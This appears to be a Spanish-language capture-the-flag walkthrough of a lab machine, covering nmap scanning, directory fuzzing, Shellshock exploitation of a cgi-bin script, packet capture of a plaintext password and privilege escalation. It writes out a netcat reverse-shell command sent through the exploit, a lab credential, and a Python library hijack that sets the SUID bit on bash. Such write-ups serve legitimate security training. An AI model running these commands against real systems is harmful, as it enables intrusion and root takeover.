Hacemos el reconocimiento con nmap:
{{pasted_image_20230923120606.png|}}
Y esta sería la página web que corre por el puerto 80:
{{pasted_image_20230923120726.png|}}
Viendo el código fuente nos encontramos con esto:
{{pasted_image_20230923120757.png|}}
Hacemos fuzzing web y nos encontramos con el directorio gate:
{{pasted_image_20230923121142.png|}}
{{pasted_image_20230923121157.png|}}
Seguimos haciendo fuzzing y nos encontramos con el directorio cerberus:
{{pasted_image_20230923121422.png|}}
{{pasted_image_20230923121431.png|}}
Y ahora si volvemos a hacer fuzzing, nos encontramos con el directorio tartarus (pero usando el diccionario common.txt):
{{pasted_image_20230923121654.png|}}
{{pasted_image_20230923121711.png|}}
Y dentro del código fuente tenemos esto:
{{pasted_image_20230923121734.png|}}
De todos modos, si volvemos a hacer fuzzing desde la raíz pero usando el diccionario common.txt, vemos el directorio cgi-bin:
{{pasted_image_20230923121831.png|}}
Y si hacemos fuzzing otra vez pero sobre el cgi-bin, vemos el directorio underworld:
{{pasted_image_20230923122003.png|}}
{{pasted_image_20230923122021.png|}}
Al tratarse de un cgi-bin, podemos pensar que estamos ante un shellshock, por lo que buscamos exploits en metasploit:
{{pasted_image_20230923122231.png|}}
Establecemos la siguiente configuración en el exploit:
{{pasted_image_20230923122359.png|}}
Y así nos debería quedar la configuración:
{{pasted_image_20230923122435.png|}}
Y así debería funcionar, aunque podemos hacerlo de forma manual:
{{pasted_image_20230923122634.png|}}
Nos lo bajamos:
{{pasted_image_20230923122703.png|}}
Y ejecutamos el exploit de la siguiente manera:
php 34766.php -u http://192.168.0.72/cgi-bin/underworld/ -c "nc -e /bin/bash 192.168.0.63 443"
{{pasted_image_20230923122846.png|}}
Y recibimos la conexión:
{{pasted_image_20230923122916.png|}}
Vamos a descargar y ejecutar el pspy dentro de esta máquina para conocer si hay algo corriendo por detrás:
{{pasted_image_20230923123126.png|}}
{{pasted_image_20230923123144.png|}}
Y vemos que se está ejecutando un script con python2 dentro del directorio /opt:
{{pasted_image_20230923123236.png|}}
Pero no tenemos permisos para acceder:
{{pasted_image_20230923123309.png|}}
Pero sí podemos capturar el tráfico de red de este servicio usando tcpdump, por lo que primero listamos las interfaces de red:
{{pasted_image_20230923123449.png|}}
Y ahora capturamos el tráfico de la interfaz .lo:
tcpdump -i lo -w captura.pcap
{{pasted_image_20230923123632.png|}}
Y ahora este pcap vamos a compartirlo con mi máquina atacante para analizarlo con wireshark:
{{pasted_image_20230923123742.png|}}
{{pasted_image_20230923123752.png|}}
Y nos encontramos con una contraseña:
{{pasted_image_20230923123930.png|}}
hades:PTpZTfU4vxgzvRBE
Y sabemos que hay otro usuario llamado hades, además de estar abierto el puerto 22:
{{pasted_image_20230923124047.png|}}
Y tenemos acceso por ssh:
{{pasted_image_20230923124144.png|}}
Y ahora sí tenemos acceso al directorio /opt:
{{pasted_image_20230923124209.png|}}
Y vemos que podemos escribir dentro de este script:
{{pasted_image_20230923124339.png|}}
Por tanto miramos a ver la librería ftplib para ver si la podemos editar e inyectar ahí un comando malicioso:
nano /usr/lib/python2.7/ftplib.py
Y al principio del todo añadimos la librería os para cambiar los permisos de la bash
import os
os.system("chmod u+s /bin/bash")